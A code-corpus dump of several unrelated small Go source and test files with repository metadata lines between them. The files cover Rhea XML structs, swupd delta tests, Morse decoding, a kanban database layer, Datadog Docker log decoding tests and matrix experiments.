xml.Name `xml:"products"` Resource string `xml:"resource,attr"` } // SubstrateOrProduct is an XML representation of a SubstrateOrProduct. type SubstrateOrProduct struct { XMLName xml.Name `xml:"substratesOrProducts"` Resource string `xml:"resource,attr"` } // Subclass is an XML representation of a subclass, which can mean many different things in Rhea. type Subclass struct { XMLName xml.Name `xml:"subClassOf"` Resource string `xml:"resource,attr"` } // EC is an XML representation of an EC number (Enzyme Commission Number) of a description. type EC struct { XMLName xml.Name `xml:"ec"` Resource string `xml:"resource,attr"` } // Status is an XML representation of the current status of an description. type Status struct { XMLName xml.Name `xml:"status"` Resource string `xml:"resource,attr"` } // CompoundXML is an XML representation of a compound. type CompoundXML struct { XMLName xml.Name `xml:"compound"` Resource string `xml:"resource,attr"` } // BidirectionalReaction is an XML representation of a Rhea bidirectional reaction. type BidirectionalReaction struct { XMLName xml.Name `xml:"bidirectionalReaction"` Resource string `xml:"resource,attr"` } // DirectionalReaction is an XML representation of a Rhea directional reaction. type DirectionalReaction struct { XMLName xml.Name `xml:"directionalReaction"` Resource string `xml:"resource,attr"` } // Side is an XML representation of a Rhea ReactionSide. type Side struct { XMLName xml.Name `xml:"side"` Resource string `xml:"resource,attr"` } // SeeAlso is an XML representation of a SeeAlso XML in a description. type SeeAlso struct { XMLName xml.Name `xml:"seeAlso"` Resource string `xml:"resource,attr"` } // TransformableTo is an XML representation of a transformableTo in a description. This essentially links two ReactionSides in Rhea. type TransformableTo struct { XMLName xml.Name `xml:"transformableTo"` Resource string `xml:"resource,attr"` } // Contains is an XML representation of what Compound a ReactionParticipant contains. type Contains struct { XMLName xml.Name `xml:"contains"` Resource string `xml:"resource,attr"` } // ContainsX is a catch-all XML representation of how many compounds a ReactionParticipant would use. type ContainsX struct { XMLName xml.Name Content string `xml:"resource,attr"` } // ChEBIXML is an XML representation of a ChEBI. type ChEBIXML struct { XMLName xml.Name `xml:"chebi"` Resource string `xml:"resource,attr"` } // UnderlyingChEBI is an XML representation of ChEBI that builds a Polymer. type UnderlyingChEBI struct { XMLName xml.Name `xml:"underlyingChEBI"` Resource string `xml:"resource,attr"` } // ReactivePartXML is an XML representation of a ReactivePart. type ReactivePartXML struct { XMLName xml.Name `xml:"reactivePart"` Resource string `xml:"resource,attr"` } // Location is an XML representation of Locations in a cell, usually referring to transport enzymes. type Location struct { XMLName xml.Name `xml:"location"` Resource string `xml:"resource,attr"` }
true
58d6ac908d1d36b9950e972f94818040bcaa61a6
Go
clearlinux/mixer-tools
/swupd/delta_test.go
UTF-8
5,191
2.515625
3
[ "Apache-2.0" ]
permissive
[ "Apache-2.0" ]
permissive
package swupd import ( "fmt" "io/ioutil" "path/filepath" "strings" "testing" ) func TestCreateDeltas(t *testing.T) { ts := newTestSwupd(t, "deltas") defer ts.cleanup() ts.Bundles = []string{"test-bundle1", "test-bundle2"} ts.addFile(10, "test-bundle1", "/foo", strings.Repeat("foo", 100)) ts.addFile(10, "test-bundle2", "/bar", strings.Repeat("bar", 100)) ts.createManifests(10) ts.addFile(20, "test-bundle1", "/foo", strings.Repeat("foo", 100)) ts.addFile(20, "test-bundle2", "/bar", strings.Repeat("bar", 100)+"testingdelta") ts.createManifests(20) mustMkdir(t, filepath.Join(ts.Dir, "www/20/delta")) mustCreateAllDeltas(t, "Manifest.full", ts.Dir, 10, 20) mustExistDelta(t, ts.Dir, "/bar", 10, 20) } func TestCreateDeltaTooBig(t *testing.T) { ts := newTestSwupd(t, "delta-too-big") defer ts.cleanup() ts.Bundles = []string{"test-bundle"} ts.addFile(10, "test-bundle", "/foo", strings.Repeat("foo", 100)) ts.createManifests(10) ts.createFullfiles(10) // new one must be large and different enough for the delta to be larger than // the compressed version ts.addFile(20, "test-bundle", "/foo", strings.Repeat("asdfghasdf", 10000)) ts.createManifests(20) ts.createFullfiles(20) mustMkdir(t, filepath.Join(ts.Dir, "www/20/delta")) tryCreateAllDeltas(t, "Manifest.full", ts.Dir, 10, 20) mustNotExistDelta(t, ts.Dir, "/foo", 10, 20) } func TestCreateDeltaFULLDL(t *testing.T) { ts := newTestSwupd(t, "delta-fulldl") defer ts.cleanup() ts.Bundles = []string{"test-bundle"} ts.addFile(10, "test-bundle", "/foo", strings.Repeat("0", 300)) ts.createManifests(10) ts.createFullfiles(10) ts.addFile(20, "test-bundle", "/foo", `asdfklghaslcvnasfdgjalf ahvas hjkldghasdhf; aj'sdhfsfjdfh sdfjkhgkhsdfg jshdfljkhasldrhsgiur 12736250q4hgkfy7efhbsd x89v zx,kjhlxlfyb lk.n cv.srt890u n kgjh l;dsuygoihdrt jdxfgjhd 985rkfjgx c v, xnbx'aweoihdkfjsgh lkjdfhg. m,cvnxcpowertw54lsi8ydoprf g,mdbng.c,mvnxb,.mxhstu;lwey5o;sdfjklgx;cnvjnxbasdfh`) ts.createManifests(20) ts.createFullfiles(20) mustMkdir(t, filepath.Join(ts.Dir, "www/20/delta")) tryCreateAllDeltas(t, "Manifest.full", ts.Dir, 10, 20) mustNotExistDelta(t, ts.Dir, "/foo", 10, 20) } // Imported from swupd-server/test/functional/no-delta. func TestNoDeltasForTypeChangesOrDereferencedSymlinks(t *testing.T) { ts := newTestSwupd(t, "no-deltas-") defer ts.cleanup() ts.Bundles = []string{"os-core"} // Delta manifests are not supported in formats < 26 ts.Format = 26 // NOTE: Currently the delta is compared to the real file, but a better // approximation comparison would be with a compressed version of the real file // (fullfile), since the delta itself will already be compressed, so packing won't // make it smaller like it might with the real file. // Create a content that will get delta. before := strings.Repeat("CONTENT", 1000) after := strings.ToLower(before[:10]) + before[10:] // file1 will remain a regular file. ts.write("image/10/os-core/file1", before+"1") ts.write("image/20/os-core/file1", after+"1") // sym1 is a link that will become a regular file (L->F). ts.symlink("image/10/os-core/sym1", "file1") ts.cp("image/10/os-core/file1", "image/20/os-core/sym1") // file2 will remain a regular file. ts.write("image/10/os-core/file2", before+"2") ts.write("image/20/os-core/file2", after+"2") // sym2 is a regular file that will become a link (F->L). ts.cp("image/10/os-core/file2", "image/10/os-core/sym2") ts.symlink("image/20/os-core/sym2", "file2") // file3 will remain a regular file. ts.write("image/10/os-core/file3", before+"3") ts.write("image/20/os-core/file3", after+"3") // symlink change + symlink target change, no delta for dereferenced sym3. ts.cp("image/20/os-core/file3", "image/20/os-core/file4") ts.symlink("image/10/os-core/sym3", "file3") ts.symlink("image/20/os-core/sym3", "file4") ts.createManifestsFromChroots(10) ts.createManifestsFromChroots(20) info := ts.createPack("os-core", 10, 20, ts.path("image")) mustHaveNoWarnings(t, info) mustHaveDeltaCount(t, info, 3) // NOTE: This was 5 for old swupd-server, but the new code doesn't pack a fullfile // if a delta already targets that file. mustHaveFullfileCount(t, info, 4) // Check that only the regular file to regular file deltas exist. { hashA := ts.mustHashFile("image/10/os-core/file1") hashB := ts.mustHashFile("image/20/os-core/file1") ts.checkExists(fmt.Sprintf("www/20/delta/10-20-%s-%s", hashA, hashB)) } { hashA := ts.mustHashFile("image/10/os-core/file2") hashB := ts.mustHashFile("image/20/os-core/file2") ts.checkExists(fmt.Sprintf("www/20/delta/10-20-%s-%s", hashA, hashB)) } { hashA := ts.mustHashFile("image/10/os-core/file3") hashB := ts.mustHashFile("image/20/os-core/file3") ts.checkExists(fmt.Sprintf("www/20/delta/10-20-%s-%s", hashA, hashB)) } // Since pack has 3 deltas, no other delta is there. Double check other deltas // were not created in the file system. fis, err := ioutil.ReadDir(ts.path("www/20/delta")) if err != nil { t.Fatal(err) } if uint64(len(fis)) != info.DeltaCount { t.Fatalf("found %d files in %s but expected %d", len(fis), ts.path("www/20/delta"), info.DeltaCount) } }
true
8a5a2681b9011ae9620f1019e77c2f0f107a724b
Go
hironow/team-lgtm
/backend/config/config.go
UTF-8
475
2.546875
3
[]
no_license
[]
no_license
package config import ( "log" "github.com/kelseyhightower/envconfig" ) type Env struct { Port int `envconfig:"HTTP_PORT" default:"8080"` UseDatastore bool `envconfig:"USE_DATASTORE" default:"false"` DatastoreProjectID string `envconfig:"DATASTORE_PROJECT_ID" default:""` } func ReadFromEnv() (*Env, error) { var env Env if err := envconfig.Process("", &env); err != nil { return nil, err } log.Printf("%+v", env) return &env, nil }
true
5f8f9e2012fdf4ae340a8c926e72ddfbd743b575
Go
wonderbirds-katas/katas-in-go
/decode_morse_code_2/decode_bits_test.go
UTF-8
2,226
2.9375
3
[ "Unlicense" ]
permissive
[ "Unlicense" ]
permissive
package decode_morse_code_2_test import ( "fmt" . "github.com/onsi/ginkgo" . "github.com/onsi/ginkgo/extensions/table" . "github.com/onsi/gomega" . "github.com/wonderbird/katas-in-go/decode_morse_code_2" ) var _ = Describe("DecodeBits", func() { DescribeTable("Decode single codewords", WhenInputThenDecodeBitsReturnsExpected, CreateEntryWithAutoGeneratedDescription("1", "."), CreateEntryWithAutoGeneratedDescription("010", "."), CreateEntryWithAutoGeneratedDescription("11", "."), CreateEntryWithAutoGeneratedDescription("01110", "."), ) DescribeTable("Decode two codewords", WhenInputThenDecodeBitsReturnsExpected, CreateEntryWithAutoGeneratedDescription("101", ".."), CreateEntryWithAutoGeneratedDescription("110011", ".."), CreateEntryWithAutoGeneratedDescription("000111000111000", ".."), CreateEntryWithAutoGeneratedDescription("1100111111", ".-"), CreateEntryWithAutoGeneratedDescription("1110111", "--"), ) // FDescribeTable("Regressions (this table is used for debugging; entries are moved to the corresponding table after finishing the bugfix", // WhenInputThenDecodeBitsReturnsExpected, // ) DescribeTable("Decode three codewords", WhenInputThenDecodeBitsReturnsExpected, CreateEntryWithAutoGeneratedDescription("11001111110011", ".-."), ) It("Pause of 3 times time unit between characters is converted to single space", func() { Expect(DecodeBits("1100000011001111")).To(Equal(". .-")) }) It("Pause of 7 times time unit between characters is converted to 3 spaces", func() { Expect(DecodeBits("110000000000000011001111")).To(Equal(". .-")) }) }) func CreateEntryWithAutoGeneratedDescription(input, expected string) TableEntry { return Entry(fmt.Sprintf("%s -> %s", input, expected), input, expected) } var _ = Describe("DecodeMorse(DecodeBits) integration test", func() { It("Codewars: Example from description", func() { Expect(DecodeMorse(DecodeBits("1100110011001100000011000000111111001100111111001111110000000000000011001111110011111100111111000000110011001111110000001111110011001100000011"))).To(Equal("HEY JUDE")) }) }) func WhenInputThenDecodeBitsReturnsExpected(input, expected string) { Expect(DecodeBits(input)).To(Equal(expected)) }
true
004d3a768a6df9400b6740b7589e4f6d2410390e
Go
shivani26shinde/telephone
/gophers/csi_gopher.go
UTF-8
605
2.984375
3
[]
no_license
[]
no_license
package gophers // CSIGopher can read the files on your computer, searching for clues to solve the case. // Pick words from the message received, and use it to lookup relevant text from the sample // files in this repository. type CSIGopher struct{} func (g CSIGopher) TransformMessage(msg string) string { // TODO: Pick a word from the message, and look for it in the sample books/ directory. // Return the sentence that contains the code word. // Helpful links: // https://golang.org/pkg/os/#Open // https://golang.org/pkg/bufio/#example_Scanner_lines return "You cannot hide from justice!" }
true
db1e8b2db028b061bdefb43b0aba9452b7e95359
Go
Khady/obiwan-kanbanobi
/kanban/db_project.go
UTF-8
4,057
2.65625
3
[]
no_license
[]
no_license
package main import ( "strings" ) //setter les admins multiples func changeAdminProject(p *ConnectionPoolWrapper, id uint32, state bool) error { db := p.GetConnection() _, err := db.Exec("update projects set admin = $1 where id = $2", state, id) p.ReleaseConnection(db) return err } func GetNbProjects(p *ConnectionPoolWrapper) (int, error) { var num int db := p.GetConnection() row := db.QueryRow("select count(*) from projects") err := row.Scan(&num) p.ReleaseConnection(db) return num, err } func (u *Project) Add(p *ConnectionPoolWrapper) error { db := p.GetConnection() defer p.ReleaseConnection(db) _, err := db.Exec("INSERT INTO projects(name, admins_id, read, content) VALUES ($1,$2,$3,$4)", u.Name, ","+strings.Join(SString_of_SUInt32(u.admins_id), ",")+",", ","+strings.Join(SString_of_SUInt32(u.Read), ",")+",", u.Content) // u.Name + "', '," + strings.Join(SString_of_SUInt32(u.admins_id), ",") +",', '," + strings.Join(SString_of_SUInt32(u.Read), ",") + ",', '" + u.Content + "');") return err } func (u *Project) Del(p *ConnectionPoolWrapper) error { db := p.GetConnection() defer p.ReleaseConnection(db) _, err := db.Exec("delete from projects where id = $1", u.Id) return err } func (u *Project) Update(p *ConnectionPoolWrapper) error { db := p.GetConnection() defer p.ReleaseConnection(db) _, err := db.Exec("update projects set name = $1, admins_id = $2, read = $3, content = $4 where id = $5", u.Name, ","+strings.Join(SString_of_SUInt32(u.admins_id), ",")+",", ","+strings.Join(SString_of_SUInt32(u.Read), ",")+",", u.Content, u.Id) return err } func (u *Project) ChangeAdmin(p *ConnectionPoolWrapper, admins []int) error { db := p.GetConnection() defer p.ReleaseConnection(db) _, err := db.Exec("update projects set admins_id = $1 where id = $2", admins[0], u.Id) return err } func (u *Project) GetById(p *ConnectionPoolWrapper) error { db := p.GetConnection() defer p.ReleaseConnection(db) row := db.QueryRow("select * from projects where id = $1", u.Id) var admin, read string err := row.Scan(&u.Id, &u.Name, &admin, &read, &u.Content) u.admins_id = SUInt32_of_SString(strings.Split(admin, ",")) u.Read = SUInt32_of_SString(strings.Split(read, ",")) return err } func (u *Project) Get(p *ConnectionPoolWrapper) error { var admin, read string db := p.GetConnection() defer p.ReleaseConnection(db) row := db.QueryRow("select * from projects where name = $1 limit 1;", u.Name) err := row.Scan(&u.Id, &u.Name, &admin, &read, &u.Content) u.admins_id = SUInt32_of_SString(strings.Split(admin, ",")) u.Read = SUInt32_of_SString(strings.Split(read, ",")) return err } func (u *Project) PutAdmin(p *ConnectionPoolWrapper) error { return changeAdminProject(p, u.Id, true) } func (u *Project) Unadmin(p *ConnectionPoolWrapper) error { return changeAdminProject(p, u.Id, false) } func (u *Project) GetColumnByProjectId(p *ConnectionPoolWrapper) ([]Column, error) { var tab []Column var t Column db := p.GetConnection() defer p.ReleaseConnection(db) row, err := db.Query("SELECT * FROM columns WHERE project_id = $1", u.Id) if err != nil { return tab, err } var tags, scriptid, write string for row.Next() { err = row.Scan(&t.Id, &t.Name, &t.Project_id, &t.Content, &tags, &scriptid, &write) if err != nil { return tab, err } t.Tags = strings.Split(tags, ",") t.Scripts_id = SUInt32_of_SString(strings.Split(scriptid, ",")) t.Write = SUInt32_of_SString(strings.Split(write, ",")) tab = append(tab, t) } return tab, nil } func (u *Project) IsAdmin(p *ConnectionPoolWrapper, uid uint32) (bool, error) { db := p.GetConnection() defer p.ReleaseConnection(db) admins, err := getUInt32SliceCell(dbPool, "projects", "admins_id", u.Id) if err == nil { for _, value := range admins { if value == uid { return true, nil } } } read, err := getUInt32SliceCell(dbPool, "projects", "read", u.Id) if err != nil { return false, err } for _, value := range read { if value == uid { return true, nil } } return false, err }
true
367cb21dcc804f925c192e4ea806f8d4e36f6f81
Go
DonelAdam/datadog-agent
/pkg/logs/input/docker/matcher_test.go
UTF-8
3,670
2.578125
3
[ "BSD-3-Clause", "MPL-2.0", "Apache-2.0", "GPL-1.0-or-later" ]
permissive
[ "BSD-3-Clause", "MPL-2.0", "Apache-2.0", "GPL-1.0-or-later" ]
permissive
// Unless explicitly stated otherwise all files in this repository are licensed // under the Apache License Version 2.0. // This product includes software developed at Datadog (https://www.datadoghq.com/). // Copyright 2016-2020 Datadog, Inc. // +build docker package docker import ( "fmt" "strings" "testing" "github.com/DataDog/datadog-agent/pkg/logs/config" "github.com/DataDog/datadog-agent/pkg/logs/decoder" "github.com/stretchr/testify/assert" ) func getDummyHeader(i int) []byte { hdr := []byte{1, 0, 0, 0, 0, 0, 0, 0} hdr[i] = 10 return hdr } func TestDecoderDetectDockerHeader(t *testing.T) { source := config.NewLogSource("config", &config.LogsConfig{}) d := InitializeDecoder(source, "container1") d.Start() for i := 4; i < 8; i++ { input := []byte("hello\n") input = append(input, getDummyHeader(i)...) // docker header input = append(input, []byte("2018-06-14T18:27:03.246999277Z app logs\n")...) d.InputChan <- decoder.NewInput(input) var output *decoder.Message output = <-d.OutputChan assert.Equal(t, "hello", string(output.Content)) output = <-d.OutputChan assert.Equal(t, "app logs", string(output.Content)) } d.Stop() } func TestDecoderDetectMultipleDockerHeader(t *testing.T) { source := config.NewLogSource("config", &config.LogsConfig{}) d := InitializeDecoder(source, "container1") d.Start() var input []byte for i := 0; i < 100; i++ { input = append(input, getDummyHeader(4+i%4)...) // docker header input = append(input, []byte(fmt.Sprintf("2018-06-14T18:27:03.246999277Z app logs %d\n", i))...) } d.InputChan <- decoder.NewInput(input) var output *decoder.Message for i := 0; i < 100; i++ { output = <-d.OutputChan assert.Equal(t, fmt.Sprintf("app logs %d", i), string(output.Content)) } d.Stop() } func TestDecoderDetectMultipleDockerHeaderOnAChunkedLine(t *testing.T) { source := config.NewLogSource("config", &config.LogsConfig{}) longestChunk := strings.Repeat("A", 16384) d := InitializeDecoder(source, "container1") d.Start() var input []byte input = append(input, getDummyHeader(5)...) input = append(input, []byte("2018-06-14T18:27:03.246999277Z "+longestChunk)...) input = append(input, getDummyHeader(6)...) input = append(input, []byte("2018-06-14T18:27:03.246999277Z "+longestChunk)...) input = append(input, getDummyHeader(7)...) input = append(input, []byte("2018-06-14T18:27:03.246999277Z the end\n")...) input = append(input, getDummyHeader(5)...) input = append(input, []byte("2018-06-14T18:27:03.246999277Z "+longestChunk)...) input = append(input, getDummyHeader(6)...) input = append(input, []byte("2018-06-14T18:27:03.246999277Z "+longestChunk)...) input = append(input, getDummyHeader(7)...) input = append(input, []byte("2018-06-14T18:27:03.246999277Z the very end\n")...) d.InputChan <- decoder.NewInput(input) var output *decoder.Message output = <-d.OutputChan assert.Equal(t, fmt.Sprintf(longestChunk+longestChunk+"the end"), string(output.Content)) output = <-d.OutputChan assert.Equal(t, fmt.Sprintf(longestChunk+longestChunk+"the very end"), string(output.Content)) d.Stop() } func TestDecoderNoNewLineBeforeDockerHeader(t *testing.T) { source := config.NewLogSource("config", &config.LogsConfig{}) d := InitializeDecoder(source, "container1") d.Start() for i := 4; i < 8; i++ { input := []byte("hello") input = append(input, getDummyHeader(i)...) // docker header input = append(input, []byte("2018-06-14T18:27:03.246999277Z app logs\n")...) d.InputChan <- decoder.NewInput(input) var output *decoder.Message output = <-d.OutputChan assert.Equal(t, "app logs", string(output.Content)) } d.Stop() }
true
c42a777e47622d4ac81998eb7c6fc51057e0cbfb
Go
roost-io/grpc_client_server
/server-grpc/server_test.go
UTF-8
1,040
3.203125
3
[ "Apache-2.0" ]
permissive
[ "Apache-2.0" ]
permissive
/* * Copyright 2019 American Express Travel Related Services Company, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except * in compliance with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software distributed under the License * is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express * or implied. See the License for the specific language governing permissions and limitations under * the License. */ package main import "testing" // TestHappyUpper tests the function happyUpper. func TestHappyUpper(t *testing.T) { var testCases = []struct { input string want string }{ {"low", "LOW😊"}, {"l", "L😊"}, {"1234", "1234😊"}, {"", "😊"}, } for _, tc := range testCases { have := happyUpper(tc.input) if have != tc.want { t.Errorf("Error. Want %s have %s", tc.want, have) } } }
true
9d6ecbb6b49f45b38182d762b09360bee30dad47
Go
JQSoftCN/rxhh
/src/zgcj.go
UTF-8
727
2.6875
3
[]
no_license
[]
no_license
package main import ( "net/http" "os" "io" "github.com/tealeg/xlsx" "fmt" "io/ioutil" ) func readRankFile() { url := "http://stock.gtimg.cn/data/get_hs_xls.php?id=rankash&type=1&metric=chr" res, err := http.Get(url) if err != nil { panic(err) } f, err := os.Create("tx.csv") if err != nil { panic(err) } io.Copy(f, res.Body) } func readRankData() { bs, err := ioutil.ReadFile("tx2.xlsx") if err != nil { panic(err) return } xlsFile, err := xlsx.OpenBinary(bs) if err != nil { panic(err) return } sheet := xlsFile.Sheets[0] for ri, row := range sheet.Rows { fmt.Println(ri, row.Cells) } } func main() { //读取排名文件 readRankFile() //读取排名数据 //readRankData() }
true
918b1f0575ffd79f1a138100ec597e683ccd9c39
Go
davdwhyte87/golang-interview-test2e
/main.go
UTF-8
532
3.65625
4
[]
no_license
[]
no_license
package main import ( "fmt" "strings" ) func main() { var a = "welcome to my world of Golang" var b = "welcome to the world of Fintech and Blockchain" input := "world" inpute := "Fintech" if strings.Contains(a, input) { fmt.Println("welcome a") } if strings.Contains(b, input) { fmt.Println("Welcome b") } if strings.Contains(a, inpute) { fmt.Println("Welcome") } else { fmt.Println("No it doesnt") } if strings.Contains(b, inpute) { fmt.Println("welcome") } else { fmt.Println("no it doesnt") } }
true
a9f60218b2917403c33705bbdf38c9249871c41f
Go
jdvober/balance
/experimentation/matrixSolvingExperimentation.go
UTF-8
2,588
3.09375
3
[]
no_license
[]
no_license
package main import ( "fmt" "log" "gonum.org/v1/gonum/mat" ) type matrix [][]float64 func (m matrix) print() { for _, r := range m { fmt.Println(r) } fmt.Println("") } func printSymMatrix(x mat.SymDense) { fx := mat.Formatted(&x, mat.Prefix(" "), mat.Squeeze()) fmt.Printf("x = %v\n\n", fx) } func printDenseMatrix(x mat.Dense) { fx := mat.Formatted(&x, mat.Prefix(" "), mat.Squeeze()) fmt.Printf("x = %v\n\n", fx) } func calcRREF(m matrix) { lead := 0 rowCount := len(m) columnCount := len(m[0]) for r := 0; r < rowCount; r++ { if lead >= columnCount { return } i := r for m[i][lead] == 0 { i++ if rowCount == i { i = r lead++ if columnCount == lead { return } } } m[i], m[r] = m[r], m[i] f := 1 / m[r][lead] for j := range m[r] { m[r][j] *= f } for i = 0; i < rowCount; i++ { if i != r { f = m[i][lead] for j, e := range m[r] { m[i][j] -= e * f } } } lead++ } m.print() } func format(vals []float64, prec int, eps float64) []string { s := make([]string, len(vals)) for i, v := range vals { if v < eps { s[i] = fmt.Sprintf("<%.*g", prec, eps) continue } s[i] = fmt.Sprintf("%.*g", prec, v) } return s } func calcSVD(a, b mat.Matrix) { // Perform an SVD retaining all singular vectors. var svd mat.SVD ok := svd.Factorize(a, mat.SVDFull) if !ok { log.Fatal("failed to factorize A") } // Determine the rank of the A matrix with a near zero condition threshold. const rcond = 1e-15 rank := svd.Rank(rcond) if rank == 0 { log.Fatal("zero rank system") } // Find a least-squares solution using the determined parts of the system. var x mat.Dense svd.SolveTo(&x, b, rank) fmt.Printf("singular values = %v\nrank = %d\nx = %.15f", format(svd.Values(nil), 4, rcond), rank, mat.Formatted(&x, mat.Prefix(" "))) } func main() { /* "Cr + O2 = Cr2O3" */ m := matrix{ {1, 0, 2}, {0, 2, 3}, } /* "Fe + AgNO3 = Fe(NO3)2 + Ag", */ /* m := matrix{ * {1, 0, -1, 0}, * {0, 1, 0, 1}, * {0, 1, 2, 0}, * {0, 3, 6, 0}, * } */ /* "Na2CO3 + CO2 + H2O = NaHCO3", */ /* m := matrix{ * {2, 0, 0, 2}, * {1, 1, 0, 3}, * {3, 2, 1, 3}, * {0, 0, 2, 0}, * } */ /* "Na2CO3 + CO2 + H2O = NaHCO3", */ /* a := mat.NewDense(4, 3, []float64{ * 2, 0, 0, * 1, 1, 0, * 3, 2, 1, * 0, 0, 2, * }) * * b := mat.NewDense(4, 1, []float64{ * 2, * 3, * 3, * 0, * }) * calcSVD(a, b) */ calcRREF(m) }
true
eb0695f42940e724606da4e252f570baee243d93
Go
qiaotaizi/dailyreportgo
/cmd_test.go
UTF-8
733
2.765625
3
[]
no_license
[]
no_license
package main import ( "fmt" "reflect" "testing" ) type myStruct struct { a string b int c bool subStruct } type subStruct struct { d float64 e rune `must:"true"` subSubStruct } type subSubStruct struct { f int `must:"true"` } func TestStuctCheckMust(t *testing.T) { var s myStruct s.f = 1 v := reflect.ValueOf(s) fmt.Println(structCheckMust(v)) } func TestCmdEmpty(t *testing.T) { c := new(cmd) got := c.empty() if !got { t.Errorf("cmd应为空,实际上为%t\n", got) } c2 := new(cmd) c2.ReporterName = "姜志恒" got = c2.empty() if got { t.Errorf("cmd应非空,实际上为%t\n", got) } } func TestCheckMust(t *testing.T) { c := new(cmd) field, ok := c.checkMust() fmt.Println(field, ok) }
true
d6f0800cb1fad3af12e88c44146a83cc994b3ee5
Go
Abdulsametileri/messaging-service-go
/services/logservice/log_service.go
UTF-8
442
2.671875
3
[]
no_license
[]
no_license
package logservice import ( "github.com/Abdulsametileri/messaging-service/models" "github.com/Abdulsametileri/messaging-service/repository/logrepo" ) type LogService interface { CreateLog(log *models.Log) error } type logService struct { Repo logrepo.Repo } func NewLogService(repo logrepo.Repo) LogService { return &logService{Repo: repo} } func (ls *logService) CreateLog(log *models.Log) error { return ls.Repo.CreateLog(log) }
true
56a0580a699a820a1aab73c0d56b27843bb1fe26
Go
zartbot/mdec
/exats/tsProcess.go
UTF-8
3,692
2.578125
3
[ "MIT" ]
permissive
[ "MIT" ]
permissive
package exats import ( "encoding/binary" "fmt" "math" "time" "github.com/google/gopacket" "github.com/google/gopacket/layers" ) //ExaTrailer is used to decode Exablaze timestamp trailer type ExaTrailer struct { OriginFCS [4]byte DeviceID uint8 PortID uint8 EpochSec [4]byte FracSec [5]byte Reserved uint8 } //PicoSecondTimeStamp is used for picosecond timestamp type PicoSecondTimeStamp struct { Epoch uint32 PicoSeconds uint64 } //PicoSecondDuration is used for picsecond duration type PicoSecondDuration struct { Epoch int32 PicoSeconds int64 } //ExaTimeStamp is ? type HPT struct { TimeStamp *PicoSecondTimeStamp DeviceID uint8 PortID uint8 } //Duration is used to calculate time duration between two PstimeT func (e2 *PicoSecondTimeStamp) Duration(e1 *PicoSecondTimeStamp) *PicoSecondDuration { result := &PicoSecondDuration{ Epoch: int32(e2.Epoch - e1.Epoch), PicoSeconds: int64(e2.PicoSeconds - e1.PicoSeconds), } if result.PicoSeconds < 0 && result.Epoch > 0 { result.Epoch = result.Epoch - 1 result.PicoSeconds = result.PicoSeconds + 1000000000000 } return result } func (e *PicoSecondDuration) String() string { return fmt.Sprintf("Epoch: %d | PicoSec: %d", e.Epoch, e.PicoSeconds) } func (e *HPT) String() string { return fmt.Sprintf("Device: %d | Port: %d | Time: %s | Epoch: %d | PicoSec: %d", e.DeviceID, e.PortID, time.Unix(int64(e.TimeStamp.Epoch), int64(e.TimeStamp.PicoSeconds/1000)).Local().String(), e.TimeStamp.Epoch, e.TimeStamp.PicoSeconds) } //DecodeExaTS is used to decode Exablaze HPT Timestamp trailer func DecodeExaTS(pkt gopacket.Packet, freq uint64, lastTS time.Time, lastTick uint64) (time.Time, *HPT, error) { L1Len := len(pkt.Data()) L2Len := int(0) //Check IPv4 Packet ipLayer := pkt.Layer(layers.LayerTypeIPv4) if ipLayer != nil { ip, _ := ipLayer.(*layers.IPv4) L2Len = 14 + int(ip.Length) } else { //Check IPv6 ipLayer = pkt.Layer(layers.LayerTypeIPv6) if ipLayer != nil { ip, _ := ipLayer.(*layers.IPv6) ip.NetworkFlow().Reverse().Src() L2Len = 14 + int(ip.Length) } } if L2Len < 60 { L2Len = 60 } /* Normal packet L1Len-L2Len should be 4B(FCS)*/ //Decode Exablaze HPT if (L1Len - L2Len) == 16 { temp := pkt.Data()[L1Len-16 : L1Len] // Src code from exablaze: // uint32_t seconds_since_epoch = ntohl(trailer->seconds_since_epoch); // double frac_seconds = ldexp((uint64_t(trailer->frac_seconds[0]) << 32) | // (uint64_t(trailer->frac_seconds[1]) << 24) | (uint64_t(trailer->frac_seconds[2]) << 16) | // (uint64_t(trailer->frac_seconds[3]) << 8) | uint64_t(trailer->frac_seconds[4]), -40); frac := uint64(math.Ldexp(float64(uint64(temp[10])<<32|uint64(temp[11])<<24|uint64(temp[12])<<16|uint64(temp[13])<<8|uint64(temp[14])), -40) * 1000000000000) h := &HPT{ DeviceID: uint8(temp[4]), PortID: uint8(temp[5]), TimeStamp: &PicoSecondTimeStamp{ Epoch: binary.BigEndian.Uint32(temp[6:10]), PicoSeconds: frac, }, } return time.Unix(int64(h.TimeStamp.Epoch), int64(h.TimeStamp.PicoSeconds/1000)), h, nil } if (L1Len - L2Len) == 12 { ticks := uint64(binary.BigEndian.Uint32(pkt.Data()[L1Len-8:])) // handle tick rollover if ticks < lastTick { ticks = 0x100000000 } ticks -= lastTick return lastTS.Add(time.Duration(ticks * 1000000000 / freq)), nil, nil } //FCS Mdoe if (L1Len - L2Len) == 8 { ticks := uint64(binary.BigEndian.Uint32(pkt.Data()[L1Len-4:])) // handle tick rollover if ticks < lastTick { ticks = 0x100000000 } ticks -= lastTick return lastTS.Add(time.Duration(ticks * 1000000000 / freq)), nil, nil } return time.Now(), nil, nil }
true
3eef5786b808fc18a9850f669dbaf14a7d3049eb
Go
y805939188/go-k8s-study
/hello.go
UTF-8
3,908
4.0625
4
[]
no_license
[]
no_license
